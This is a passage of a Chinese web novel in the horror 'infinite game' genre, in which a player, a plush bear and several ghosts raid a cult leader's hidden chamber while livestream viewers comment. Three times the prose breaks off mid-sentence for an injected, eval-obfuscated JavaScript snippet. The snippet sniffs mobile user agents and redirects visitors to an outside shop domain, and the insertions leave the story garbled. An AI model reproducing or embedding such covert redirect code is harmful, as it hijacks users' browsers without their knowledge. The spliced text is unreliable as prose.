以前确实相信得真心实意,也不知道是不是脑子里的水被拍出来后变聪明了,现在突然反应过来自己被愚弄了的庄灿握紧拳头,很是生气。
老登给爷爬!
今晚你必死,耶稣来了也救不了你,我说的!
咬牙切齿地在心里骂了通狠话,庄灿在菜刀鬼将隐藏在墙壁上的阵法打开后,冷笑一声硬气无比地转身。
将暴露.出的通道让给了安哲。
“大人请!”
甩着舌头凑了上去,已经提前看到了前上司暴死惨样的庄灿兴奋极了。
“大人放心,里面的老登战斗力很弱的,他就是仗着里面的阵法对我们鬼极为克制,躲在那里作威作福的。”
“但大人你不是鬼,里面的阵法对你没用,大人只要出手,里面的老登必是手到擒来啊!”
避开了墙壁上的传音阵法,庄灿凑到安哲身边,兴奋不已地怂恿着,肿胀苍白的脸上满是比刚才喊门时还要放大无数倍的谄媚。
“你好像我之前刷短视频时刷到的电子奸臣……”
不忍直视地错开视线,留下来和这些鬼一起守门口的李祥感慨极了。
果然这年头大家都不容易,当鬼都要开始内卷当舔狗了。
扫了眼没想到庄灿会这么狗的拍马屁,站在庄灿旁边被卷得目瞪口呆的油画鬼和气到发抖的人皮鬼,李祥摇了摇头,又往身上拍了个防护道具。
而另一边,同样嫌弃这群家伙丢人的菜刀鬼皱着老脸。
毕竟这么多年姘头,心里多多少少还有点感情,菜刀鬼飘得远远的,看向密室内的目光有些担忧。
“会赢吗?”
“放心,包死的。”
无情打破了菜刀鬼心中仅存的幻想,庄灿冷笑一声,再次把其他鬼护至胸前。
“里面这么久都没动静吗,感觉很不妙啊……”
几乎就在庄灿话音落地的那一瞬间,墙壁阵法上的传音处里,传来了守门使大人的声音。
“庄灿?我不是让你把祭品放在外面吗?……谁?你是谁?!……哼哼哼,看我启动阵法……啊……嘎。”
“完事,搞定,进来吧。”
其他鬼:“……”
听到这干脆利落的嘎巴声,与之后那长久沉默的平静,以及安哲最后的招呼。
不自觉地脑补出了密室里的画面,一时间,其他鬼看庄灿的眼神都不好了。
不是哥们,你乌鸦嘴吧?
23.唐顿庄园(二十三)
“这关我什么事!”
莫名其妙地被扣了个乌鸦嘴的名号,庄灿觉得自己冤得不行。
“动手的又不是我,实力差距摆在那,我不说他也打不过……那谁啊是吧。”
肿胀的鱼泡眼往密室里飘了飘,用眼神示意了下他说的是谁,并不是很敢直呼安哲大名的庄灿一边带头领路往密室里走,一边为自己大口喊冤。
虽然前上司寄了,但新上司就在身边。
要是给新上司留下了个他乌鸦嘴的不良印象,以后的生活还能有好?
并不清楚自己已经被新上司嫌弃了的庄灿很是生气。
对二楼的鬼怪们来说,主卧内的密室是个众所周知的凶地。
不知多少个年轻鬼懵懵懂懂地睁开眼睛,懵懵懂懂地闯进主卧,懵懵懂懂地被庄灿捆上送进密室,接着懵懵懂懂地永远消失。
久而久之,除非真的有事,或者被蜗居在密室内的庄灿前上司传唤,正常鬼没一个愿意靠近二楼主卧的。
所以说……
倒霉老登坏事做尽,倒霉至极地遇上了前来探险(殴打鬼)的小变态,接着十分倒霉地被打死,关他什么事?
更何况这老登还是害死他们生前大部分人的凶手,就连他们死后变鬼,八成也是这老登在作祟。
这老登死得冤吗?
只能说是活该好吧!
生怕在新上司这里留下什么不好印象,庄灿偷偷瞄了眼唐顿小姐,叭叭地很是大声。
他的嘴跟机关枪一样毫不停歇,一直到密道尽头的密室里,看着那具干瘪枯瘦、头身分离的熟悉尸体,叨叨了一路的庄灿沉默下来,忍不住倒吸一口凉气。
嘶,虽然一直都清楚安哲这小变态是真的变态,但真亲眼看到前上司被暴打分尸的场面,还是很令鬼害怕啊!
一时间,沉默凝重的风吹过密室,慢悠悠地在每个鬼心头晃荡。
“啊这……”
同样没意料到里面的这家伙会死得这么凄惨,被唐顿小姐抱着的玩偶小熊顿了顿,悄悄抱紧了唐顿小姐的胳膊。
“怎么就直接动手了?……不是说要问一下的吗……咳咳……”
“不好意思,拿到新刀后我没收住力……没想到新刀会这么好用和顺手……”
说好了来问一下情报的,没想到庄灿的前上司会那么脆弱,他敢动手就立马敢死。
随手一刀就将眼前这个疑似小boss的精英怪给干掉了的安哲也有些发愁。
“现在怎么办,已经打死了还能再问出什么东西吗?”
“……可以的,小主人你先将我放下。”
用爪轻轻地在同样抱他抱得很紧,疑似也被吓到了的唐顿小姐胳膊上拍了拍,玩偶小熊整理了一下有些漏棉花的肚子,拖着手术刀慢悠悠地往前走。
在一众人和鬼好奇的目光中,走到干尸脑袋附近的玩偶小熊扛起手术刀,嘿咻一声就将手术刀扎进了干尸脑袋里。
伴随着噗嗤一声轻响,漆黑的水液流出,看得在场的鬼和李祥脑子一阵幻痛。
“好了,你们退远点。”
沾着干尸脑袋里新鲜流出的黑水,玩偶小熊撅着屁股,用手术刀的刀尖在地上飞快地划。
见状,搭在人皮床板上的大画框里,因为害怕,已经蜷缩在了房间最远处角落的画框鬼顿了一下,猛地瞪大眼睛。
她看着阵法逐渐成型,由淡到浓地冒着黑气,心中一个猜想逐渐凝视,画框鬼哆嗦了一下,难以置信地下意识开口。
“搜魂阵法?!”
这么凶的吗,都被砍掉脑袋一刀砍死了,死后还要把魂飞魄散的残魂拽出,放进搜魂阵法里榨干榨净,榨出最后的剩余价值?
救命,这真的是小胖子说的好人阵营吗,她怎么感觉这边比看门使大人这个的前上司那边还要凶啊!
伴随着玩偶小熊的最后一笔落成,狂冒黑烟的邪恶阵法上方,散乱飘落的黑烟突然凝实,聚集在一起,形成了一片有些模糊的黑色水镜。
仿佛什么接触不良的幻灯片般,水镜中的默片开始断断续续的播放,没有彩色,没有声音,只能看得到画面中不断挣扎的肢体语言动作和表情。
失去了色彩,变成了墨色的汪洋水池中,断肢在水波的推动下层层叠叠地堆在岸边。
宽阔无际的水池里,无数个等比缩小后看起来很迷你的小人在水中拼命挣扎,快沉下去的拼命按住拽下浮上去的,快被漩涡卷进中央的拼命将离漩涡远一点的小人后捞。
层层叠叠的小人在墨色水池中浮沉挣扎,即便听不到声音,看不清具体的色彩,也能隔着画面感受到他们的绝望,与浓烈到快要形成实质的怨恨。
类似的画面不断闪过,画面中的小人数量有增有减,水池的高度忽高忽低。
唯一不变的,是画面中始终盘坐在水池上空的干瘪小人,与他时不时畅快大笑,手舞足蹈地启动阵法的身影。
“嘶……”
不断闪过的画面太多,又过于邪性,敏锐看到了画面中有的小人旁边有光芒闪过,知道这是玩家在使用道具的李祥头皮发麻。
“有一说一,”知道身边这几只鬼之前在心里吐槽什么的李祥转过头来。
“论变态,还得是你们前上司嗷。”
那么多的人一池一池的被折磨致死,断肢跟水草一样都在池边叠成堆了。
看着干瘪小人乐得手舞足蹈,时不时调动阵法将水池中的血液鲸吸狂饮的样子,被恶心和变态到了的李祥搓了搓胳膊,深深地叹了口气。
“这玩意,有办法调频或者选取画面不?”
同样被震到的小熊木然摇头。
看着水镜中不断闪过,却始终没有尽头的画面,再度回想起曾经那些不好回忆的玩偶小熊气得眼冒红光。
斜眼瞥了眼瑟瑟发抖的庄灿他们,玩偶小熊冷哼一声,粗线缝合组成的豆豆眉都气得塌了下来。
“为虎作伥,无耻败类!”
“我们也只是为了活命啊!而且也活不了多久……”
虽然不介意被骂,但因为这个挨骂还是有点不爽的庄灿很是委屈,他看了油画鬼和人皮鬼一眼,三只鬼脸上满是凄苦。
“那个老登一般攒个十几年几十年的,就把帮他干活的鬼给吃了……干活也是吃,不干活也是吃,只是干活了能被吃得晚一点……”
“您是不知道,在这几百年来的时间里,我们这些鬼被欺压得多惨!!”
闻言,小熊玩偶回忆起了之前四处躲避追杀,偶尔在外来人类的帮助下重启小主人的修复阵法,却屡屡失败重新来过的样子,一时间不由得叹了口气。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645028|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他和唐顿小姐以及周围的鬼一起,下意识地向安哲看去。
确实,和那群该死的邪教徒比起来,眼前这个到处揍鬼的人类竟然还算是善良的了。
顺利读懂了众鬼们眼中的凄楚,安哲直播间里,忍无可忍充钱开了高级粉丝,把道具屏蔽后终于能看清画面了的观众们很是唏嘘。
[Emmmmm,没想到副本里的鬼看似风光的到处吃人,实际上也过得如此凄惨]
[凄惨?不惨吧,大鱼吃小鱼,小鱼吃虾米,本来就是无限游戏的基础法则啊,鬼更厉害就吃人,人更厉害就杀鬼,大鬼驱使吞噬小鬼变得更强,有什么问题吗?]
…
[没问题啊,我就是感慨一下……话说头一次见鬼用这种看清汤大老爷的眼神盯进副本的主播,场面看起来怪怪的……]
[芜湖,头一次见下本这么稳妥的主播,就适合我们这种胆小还爱看的观众啊啊啊,打赏礼物了,主播加油!!]
事实证明,无限游戏直播中的观众还是有正常人的,只不过比例较少。
在颜值区首页的引流,以及最重要的,观看直播的观众们在广场和大厅的口口相传下,不少相对来说画风平和,发言更温柔,比较偏爱爽向直播的观众们被吸引了过来。
他们娴熟地将弹幕屏蔽、关键词屏蔽、高级弹幕选择性展示等设置开启,而后舒舒服服地看起直播来。
[嘿嘿,主播长得真好看,是近期发现的能打主播里长得最好看的一个,爱了爱了,砸礼物升级成铁粉了哦,爱心.jpg]
[没想到颜值区也有如此能打的直播,感觉之前一直在战斗区翻新人和蹲守严局直播的我打开了新世界的大门,好久没看过这么爽的直播了,给你扔个小飞船吧,主播加油!]
…
[啊啊,前面的姐妹,我也是严局直播间的老粉!嘿嘿希望主播也能加入到守夜人里,黑暗中的一抹光冲鸭!]
[好看能打是真,但是有一说一我感觉守夜人应该不会收他吧,主播画风有点邪性,守夜人那边好像不收反派来着(小声逼逼)]
弹幕区里,开启了n重屏蔽的安哲·新·纯善版·粉丝们聊得很快乐,看着他们友好交流的样子,安哲·老·纯恨版·打架头破血流中·‘粉丝们’气得眼都红了。
[笑死了,还想加入守夜人呢,严嵩要是能收这么个玩意进守夜人我倒立吃屎好吧,真当谁都能进守夜人那个圣母集中营呢?yue!]
[啊?真的假的你要倒立吃屎?好好好录屏截图了,我这就去发私信给严圣父,到时候主播要真进去了你也记得开直播嗷嘻嘻]
[不是你傻逼吧我&*%@¥*!]
[嘻嘻,已录屏+1,突然好想严嵩失智被下降头把主播收进去呢,前面的直播吃屎!]
虽然纯恨‘粉丝’们很快就因内讧陷入争吵,再度乌烟瘴气地打了起来,但有一件事是纯恨版粉丝和纯善版粉丝一起认同的真理。
那就是——
这么个画风迥异、行事作风无比向反派靠拢的主播是绝对进不去守夜人这种无限游戏里难得一见的好人队伍的,绝对!
如果万一极小概率触发不小心真进去了的话……
那一定是弹幕立的反向flag发挥作用生效了,罚他吃屎一万吨!!!
24.唐顿庄园(二十四)
二楼,主卧墙壁后的密室里。
顶着精神上的压迫与污染,安哲等人耐下性子强压下火气,终于将干瘪尸首中的回忆碎片看完。
“想要下去竟然还要身份认证,这么高级的吗?”
看着小熊玩偶利用提取出来的记忆,一通操作后从地上冒出的阵法,大家好奇围观了一阵后,也开始发愁。
“如果不进行认证,直接强行打开入口的话,能行吗?”
身为刚喜提爱刀的喜斗人士,安哲挥了挥手上经过黑色冤魂的贡献后愈发锋利凶悍的菜刀,第一个想到的就是暴力破解。
“……不行!”
作为场上最懂阵法的老古董,小熊玩偶眼角抽抽地按下安哲蠢蠢欲动的手,想都不想地进行否决。
“阵法一般都有防毁机制,暴力破解的话,轻则阵法塌陷毁灭,重则直接爆炸,还会通知阵法对面的存在。说不准到时候阵法里会突然冲出一大堆邪教徒……唔……对面也有可能直接逃跑……”
想了想双方战斗力的差距,以及最重要的,地面上并不缺少的监视阵眼。
觉得下面的邪教徒八成已经对他们的存在有了警惕心的小熊玩偶叹了口气,委婉开口。
“要不我们从长计议,现在就下去的话,感觉很容易落入陷阱。”
“唔,也行。”
虽然从副本苏醒后就经历了很多,但从时间上来看,现在甚至还没到进入副本后的第二天。
不清楚其他主播的通关速度,但清楚进入白天后大部分鬼会藏匿逃跑的安哲叹了口气,也跟着摇了摇头。
那确实是不行的,万一真跑了的话,会很麻烦。
“不过,身份认证的话,这个不可以吗?”
拎起干尸被榨干记忆后进一步干瘪的脑袋,安哲不死心,拎着脑袋往阵法的认证口那按去。
“身份认证是怎么认证的,认脸吗?”
“当然不是,”有些好笑地看了眼安哲的操作,玩偶小熊抱着手术刀,已经准备转身离去。
“这种阵法一般是……嗯??”
不等他话说完,身份认证的阵法就闪烁了一下。
在熄灭好几秒后,黯淡的阵法又再度亮起,仿佛被强行唤醒了般,阵法忽明忽暗地闪烁着,带着肉耳可闻的噼啪声。
在满满的抗拒与濒临破碎的火光中,原先关闭着的阵法别别扭扭地向他们敞开大门,暗淡传送的光柱虚虚投射在密室地板上,摇摇晃晃的,看起来似乎随时都会崩溃。
见状,不少热衷于发现新人主播,新手副本也被迫观看很多次的老观众顿时炸了。
[???我记得这个支线以前也有主播做过,这个阵法不是不贿赂那个守门干尸就开启不了的吗,用道具把干尸强行复活在验证阵法那也会失败的啊,这是怎么打开的???]
[emmm,是不是出场人物的关系?这里我记得一直都是阵营二选一。开启守门干尸支线的就无法获得小破熊的信任;选择帮助小坡熊和唐顿家族复仇,就要面对已经占据了古堡的邪教徒成员以及他们手下的厉鬼大军。
还没有能在这个密室里集齐干尸+小破熊的玩家,主播还是第一个……]
[问题是小熊拿这个验证阵法也没辙啊,不是都没办法准备撤离了吗,然后阵法突然就开启了。不是为什么啊,当初严局都是又跑回二楼其他房间,收集完任务道具后才重新进去的,主播到底是怎么办到的??]
“……怎么突然就开了,不会是陷阱吧?”
密室里,同样感觉不对的小熊玩偶扛着手术刀,Q版萌趣的丑熊脸上表情很是严肃。
“确实有可能是陷阱,安哥我们进吗,里面给我的感觉很不好。”
在天赋的作用下,小胖子就像是一个人形自走雷达,能感受到周围的危机与讯息。
感受着光柱中扑面而来,浓郁到几乎令人窒息的阴森与恶意,小胖子喘了口气,将他所感知到的情况与安哲和盘托出。
“进,不过是我进,你就不用了。”
安哲笑了笑,从沉思中回过神来。
就在刚刚,他再次感受到了那从进入古堡起就一直盯着他,离开古堡去找藤蔓茬时又莫名消失了的视线。
那视线如山一般压来,沉腻厚重,轻描淡写中又透着股模糊与朦胧的质感。
能感觉到缥缈的距离终于拉近了一点,安哲呼了口气,在呼啸而来的刺激与压力下,他久违地开始感到兴奋。
“下面的情况比较危险,我也没有把握能保护你,”转头看向李祥,安哲向来笑眯眯的精致脸蛋上满是认真。
“你的探索度够了吗?”
“够了够了,都已经快满80%了。”
看了眼自己的探索度,意识到安哲要说什么的李祥抹了把脸,表情郑重起来。
“我现在就申请离开,绝不拖大佬你的后腿。”
“这次副本里多亏了大佬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667520|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你的关照,我无限id是6666,大佬以后你有需要了随时来找我,我绝对没二话的!”
“……好。”
这就是欧非之间的差距吗,连id编号上都体现得这么明显?
安哲看了眼自己“4444”的无限id,再想想李祥的那个“6666”,一时间,隐约感觉自己被这破游戏针对了的安哲叹了口气,不满地轻啧一声。
运气差怎么了,只要实力够强,他们运气差的也能砍出一片天!
挥手道别,一阵微光闪过,李祥化作光芒四散的小粒子散开。
李祥离开后,仿佛如梦初醒般,周围目光失焦的鬼们顿了一下,扭头向安哲看来。
“那我们是现在就下去还是……?”
看着他们对李祥的离开仿佛并不关心,也不意外的样子,安哲眉梢轻挑。
“现在就下去,这传送阵看起来也撑不了多久了。”
见状,庄灿他们哼哼着不想下去,被唐顿小姐笑眯眯的走上前去,一脚一个踹下。
玩偶小熊则是不太放心,表示自己要和安哲一起进去。
在玩偶小熊眉头紧皱,满是不安的紧张目光中,安哲拎起玩偶小熊,笑呵呵地往传送阵法走。
与此同时,另一边。
浑身是血的祁槐辛摸了把脸上的血,表情很是阴沉。
“还等什么呢,走吧。”
看着眼前集齐了道具后终于出现的入口,祁槐辛阴沉沉地笑了笑,眼中闪过一抹狠毒。
“日记本中记录的祭坛位置,应该就在这里了,还是说,你要提前离开副本?”
“当然不。”
祁槐辛身后,同样满身狼狈的眼镜男摇了摇头,残缺了一角的眼镜片伴随着他的动作,在月光下闪过一抹模糊的白光。
仿佛被魇住了般,他沉迷地看着眼前阵法,吃吃地笑着,眼中泛起诡异红光。
“当然不了,我要和你一起。”
“行吧,但愿你能比那个喂鬼白痴好运一点,”祁槐辛无所谓地转身,率先向传送阵法走去。
清幽微弱的光芒闪过,破败昏暗的古堡重新恢复寂静。
同一时间,主卧密室里。
最后一丝濒临破灭的幻光中,安哲的身影消失不见,幽静密室里,被强行开启的阵法再也支持不住,完成了使命后啪的一声破碎。
沉沉黑暗中,有风轻轻拂过,仿佛传来了一声满足的叹息声。
25.唐顿庄园(二十五)
“唔……”
踏入阵法的那一刻,悬空失重的感觉瞬间袭来。
仿佛一脚踏空了般,安哲在空中向下坠落,只来得及调整好身形,沉重炸裂的落水冲击痛便冲击而至,砸上了安哲的背部。
黏腻的水液从四面八方涌来,迫不及待地将安哲裹住,厚重的压力从头顶上方处落下,无声挤压,仿佛要将他压弯压断般,不断地施以持续增加的力度。
在重压的压力下,安哲挺拔纤细的身躯被压得微微下弯,他吐了口气,一连串的小气泡在这粘稠水液中艰难地向上飘起。
一如安哲倔强反抗,拎着刀艰难向前走去的执拗灵魂。
[???主播这是什么破运气,进入阵法后的关卡是随机传送的吧,这都能进最难的这关,运气也是没谁了hhh]
[好久没见过这关了啊,我记得这关好像总共就没出现过几次吧,很难的,落入水池的瞬间□□就已经消亡,接下来每一步的前行都在消磨灵魂和精神……
目前为止进入过这里的都死了吧?补药啊我挺喜欢这个新主播的QAQ]
[不是进这关的都死了,是开启过这个支线,探索到这里的基本没几个能活,我记得严局,还有守夜人的几个当初是通过破坏阵法过关的吧?还有至暗教团那群happy地选择同流合污的货……
Emmmm,阵法材料在祁槐辛那,邪教徒已经得罪死了肯定不会要他,而且至暗教团这次进本就是奔着屠本开材料来的吧,主播必死了这波]
在安哲看不到的弹幕中,阅本经验丰富的观众们已经未卜先知地编写好了安哲的死因和死法。
他们感慨唏嘘着,缅怀悲痛着,伤心叹气着,得意兴奋着,期待哀悼着安哲灵魂即将到来的陨落。
伴随着安哲的不断前进,与主播状态直接绑定的直播间越发昏暗模糊。
这一无限直播用来增加观赏和紧张性,令观众们更加感同身受的措施无疑进一步激发了弹幕的激烈程度。
香槟开了一轮又一轮,花圈送了一个又一个,纯恨版粉丝的拍手叫好与纯善版粉丝的心痛遗憾在弹幕中轮番上演,中间还时不时地掺杂着几句乐子人的拱火掐挑声。
在一片热闹声里,安哲却依旧艰难地跋涉在这暗无天日的沉重水液中,喘息着迈步向前,永不低头。
[??这哥真能熬啊,还不死???]
[妈呀这个灵魂强度,这是新人能拥有的?]
[与其说是灵魂强度,不如说是精神意志……他要真的灵魂强度很高的话,一开始的直播间就不会暗得那么快了叭]
……
[有一说一,灵魂强度也就是正常新人里的中等偏上,但这意志……真的好坚定啊卧槽,钢铁是怎样炼成的是你写的吗大哥,不是他痛觉感知是没开吗,怎么能撑到现在的?]
[前面的你醒醒,你当他是充了钱的vip观众啊还能开痛觉感知的,主播根本就没有这选项,他们是真身被投入进副本的好吗,所有感受100%真实,所以这哥是真顶啊,我都不敢想他后期精神力能具现出武器后,得有多牛逼……]
[而且你们注意到没有,主播到现在手里都还是握着刀的,灵魂的具现全靠精神与执念,他到现在都还没有放弃战斗……这是什么漂亮疯批战斗小疯子,我真的开始喜欢他了,他被血污冲刷出来的灵魂好美啊T.T]
与弹幕中悠闲自得的观赏和感慨不同,此时副本中的安哲状态极差。
全身上下的骨头仿佛放入石臼中被不断地捣碎研磨,压力从头顶上方不断传来,骨骼被压得劈啪作响,粘稠厚重的压力压得人喘不过气来。
每走一步,血肉与灵魂被撕裂的痛楚便从全身徐徐刮过,钝刀子在悄悄地磨着他的骨头,钝痛层层叠加,伴随着各种尖锐袭来的痛楚,痛得眼睛下意识冒起了泪花,灵魂想要蜷缩起来哀嚎尖叫和颤抖,眼前的视线都开始有些恍惚。
耳边,各种呢喃和善意的声音响起,温柔地劝说着安哲放弃。
算了吧,继续前进太痛了,就这样停下来歇一会儿不好吗?
算了吧,这根本就不是新手副本该有的难度,说不定一切都只是场噩梦,眼睛一闭一睁,就又从末世里的小屋中醒来了呢?
算了吧,走不到头的,注定要死的,何必在死前多受这么多折磨?
算了吧……算了吧……
阵阵血污涌来,潮水般哗哗作响,温柔的呢喃声在耳边不断翻涌,如风般打着旋的,向着耳朵不断涌去。
面对这不断涌入脑海中的声音,安哲充耳不闻,甚至连回复都懒得去费心神搭理,他垂着眼睛,安静而又坚定地向前走去。
苦痛动摇不了他的心神,也磨灭不了他的意志,他紧紧握着手里的刀,顶着水流巨大的压力与阻力,从粘稠沉重的淤泥中拔出腿来,一步又一步地咬牙向前走去。
哗啦啦,血色的潮流涌动,哗啦啦,有一个渺小的身影在巨大的血池中逆流而行。
[卧槽,卧槽,竟然真的要走出来了!你们把视角拉高,好远的前方有一个出口!!]
[不是这关这么简单的吗,顶着水流冲刷一直往前走就行了,连个曲折迷宫和幻觉都没有?]
[前面的你要不要听听你说的都是什么屁话……我看你也是高级vip,你开感官共享试试呗,对了共享别开到最大的20%,我怕你承受不住尿裤子捏,嘲笑.jpg]
[呜呜好好看啊,这关血池溶解□□后能看到具现化的灵魂,我还是头一次看见这么璀璨透彻的灵魂存在,真的在血污中闪闪发光哎,卧槽卧槽我好爱,燃起来了,我这就去把我没做完的作业和剩下的工作肝完!!]
哗啦啦的潮水声仍在不断翻涌,逐渐习惯下来的安哲哼着歌,咬牙拎刀大步前行。
与此同时,另一边。
也不知是幸运还是不幸,进入阵法后黑框眼镜男和祁槐辛并没有走散,而是被阵法传送到一起,掉落进了一个荒拙古朴的大殿中。
这大殿很是雄伟,高挑的殿堂被粗重石柱顶起,各种各样惟妙惟肖的石雕在殿堂四处陈列,玄妙精奥的花纹在石板上铺开,就那样毫不在意地被来到大殿的人踩在脚下。
如果没有经历过战乱与破损的话,这一定是个史诗般宏伟震撼的建筑。
可惜的是没有如果,很明显地能看出,这处大殿经历过的战争不止一起。
新新旧旧,各种武器劈砍出的痕迹遍布在殿内的每个角落,殿堂顶部完全破口,外面漆黑一片,大殿内明亮的光外泄不出一丝。
风呜呜地刮着,席卷倒灌入殿内,高松直立的石柱塌陷倾斜,大大小小的石块散落在殿内,原先平坦明亮的殿内重新构建出了光影,平添了几分阴森与邪倪。
“祁哥,这里是什么地方,怎么感觉怪怪的……”
一阵阴风吹来,黑框眼镜男打了个哆嗦,眉头紧紧皱起。
从进入副本后他就跟在祁槐辛身后,积极努力,做一只坚定的舔狗,大半天的时间过去,他跟着祁槐辛跌跌撞撞地闯过诸多房间与关卡,见识过许多邪肆血腥的场景,还从来没有一处令他反感成这样的。
捂嘴努力压下想要呕吐的冲动,黑框眼镜男打了个哆嗦,看着前方大殿的目光很是恐惧。
这里实在是太血腥了,血腥到有点超过了人类感官上的极限。
到处都是血迹,到处都是暗红,新鲜一点的沉红色与放久了之后发紫发黑的血红层层叠加,冲天的血腥味扑鼻。
如果说去掉血迹后的破败大殿还有几分古朴的话,那么此时此刻,被血渲染浸透了的大殿就只剩下阴森可怖这一个观感。
“这里到底发生过什么,怎么会这样……”
人类对同类尸体和死亡的恐惧是刻在基因与本能中的,看着眼前满是血痕的大殿,以及大殿角落和大厅里随意跑扔着的腐烂肉块与骨头。
黑框眼镜男浑身发抖,耳边,似乎出现了幻觉般不断有人在泣血哀嚎。
“这里,这里……唔……”
仿佛感官也在震撼中被钝化,黑框眼镜男捂住胸口,呆呆地低下头来。
在他的胸口处,一抹明晃晃的刀尖正从身体后方插-入,贯穿了整个身体后,斜着从胸口插出。
“祁哥?……”
血沫从嘴角缓缓流下,黑框眼镜男握着胸口刀尖,眼睛瞪得大大的,头艰难地向身后转去。
喷涌流出的血液将他的力气飞速带走,思考的速度也仿佛跟着变慢。
黑框眼镜男想不明白,他猜到了祁槐辛会在最后时刻向他动手,也做好了抢在祁槐辛动手前提前一步离开副本撤退的准本。
但令他想不通的是,为什么?
为什么祁槐辛会现在就对他动手,他们距离彻底解开谜题,探索完成度达到100%应该还有很长距离才对……
“哈,白痴,真以为我带你们下本当奶爸呢?”
握着手中的刀把狠狠旋转,祁槐辛将黑框眼镜男的心脏搅成碎片,嘴角不屑勾起。
“要不是在鬼的手上死了几个,收集到的血液不够,我还能留你到现在?”
噗嗤一声将刀拔出,祁槐辛一脚将踉跄着向前跑去的男人踹翻在地。
殷红的血液在地上堆积,很快便盖过了大殿石板上原先血渍的大片暗红,祁槐辛抬手将系统背包里的血球抛出,规律地扔在大殿四角和固定的点位处。
很快,鲜红刺目的光芒亮起,嗡鸣声传来,大殿开始摇晃。
大殿正中央,崩裂的石板塌陷,暗红色的血池从地下缓缓升起,空气中,血腥气愈发浓重。
崩裂歪斜的石柱又开始了坍塌,黑中带红的烟尘四起,祁槐辛哈哈大笑着将黑框眼镜男的尸体踢进血池中,眼中红光大盛。
“终于走到这一步了,不枉我在上面忍了你们那么久!”
看着黑框眼镜男的身体在血池中飞快溶解,祁槐辛大笑着将更多血球扔进血池,被灼伤后愈发丑陋的脸庞满是兴奋。
“终于,终于!谁能想象得到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687730|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新手副本里会沉睡着这样的存在,谁又能猜到我才是最终最大的得利者!”
飞快地将仪式所用的阵法和祭品摆好,祁槐辛从背包中拿出一块干涸发暗、手掌长的小木头,虔诚地将之摆在阵法前。
“至上全灵的大尊啊,我……呃!”
几乎就在他弯腰低头的那一瞬间,祁槐辛动作猛地一顿。
在他胸前,一抹同样明晃晃的刀尖透体而出,身上的珍贵保命道具光芒微闪着顷刻堙灭。
鲜血和生机宛如鲸吞般被透体而过的长刀吸走,下意识使用的治疗和防御道具根本起不到一点作用。
这是一把A级以上的长刀,是传说中精神强度达到一定级别后才能凝练出来的灵魂武器。
最重要的是,祁槐辛认识这把刀的主人,这把该死无比的眼熟的刀,他曾在至暗教团里见过!
“你……”
拼命挪动着想要将刀从自己身上抽离,祁槐辛挣扎着想要向前跑去,惊骇丑脸上满是不可置信。
“你竟然对我动手,教团不会放过你的!”
“哈哈,教团不会放过我?你以为我进副本的特殊道具是谁给我的,不就是你说的‘不会放过我’的教团吗。”
笑眯眯地将小木块从祁槐辛手中抽走,站在他身后的男人卸去伪装,从隐身的状态中暴露出来。
“你是真墨迹,一路拟容加隐身跟过来,你知道费了我多少积分吗?”
目标道具已经到手,身后的男人也懒得继续装了。
他将长刀从祁槐辛身上抽离,而后嫌弃地往地上甩了甩,鲜血泼墨般在黑红石板上划出一道血色长痕,翁浩瀚撇了撇嘴,勉强撑得上是帅气的脸上满是刻薄。
“你的血好臭啊,真恶心,我的刀吸了你的血,刀也开始变臭了。”
毫不在意地看着祁槐辛双手连闪,疯狂地用积分兑换治愈药品往身上狂怼,翁浩瀚伸了个懒腰,抛着手上的小木块好奇地瞧。
“这就是教团点名要用的邪神召唤物?看起来不怎么样嘛,就是个脏木头。”
“呵,呵呵……”
几乎用光了手头上的所有积分,祁槐辛艰难地将胸口处的贯穿伤止住。
心里恨得要死,但为了活命,祁槐辛还是压下了心中恶念,扭曲压抑地奉上笑脸。
“没想到枢机主教您会亲自下本,是的没错,这就是教团密档里能召唤那位存在的召唤物……”
由于失血过多,伤势过重,祁槐辛说着说着就开始声音发低,底气不足了起来,眼前冒着阵阵昏星。
但清楚教团内部都是什么样的行事风格,祁槐辛不敢表现出半点的不敬和不满。
他深吸一口气,死死地攥着拳头,笑容很是谦卑。
“我愿将这个道具无偿奉献给教团,只求……”
“要没命了知道主动奉献了,早干嘛去了?”
不耐烦地打断了祁槐辛的话,翁浩瀚挑眉,嗤笑着说道。
“而且你不会以为我不知道,你在趁着这个时间偷偷读秒离开吧?”
闻言,正一脸虚弱地卧在地上,一副命不久矣我全听发落的祁槐辛脸色猛地一变。
“你不能杀我,召唤邪神除了道具外还需要特殊的仪式和步骤,你……”
将所剩无几的积分和道具彻底用光,祁槐辛厉声大喊。
“哦,我知道啊。”
就在他离开倒计时读秒即将完成的那一刻,翁浩瀚手中长刀一甩,再次将祁槐辛扎了个对穿。
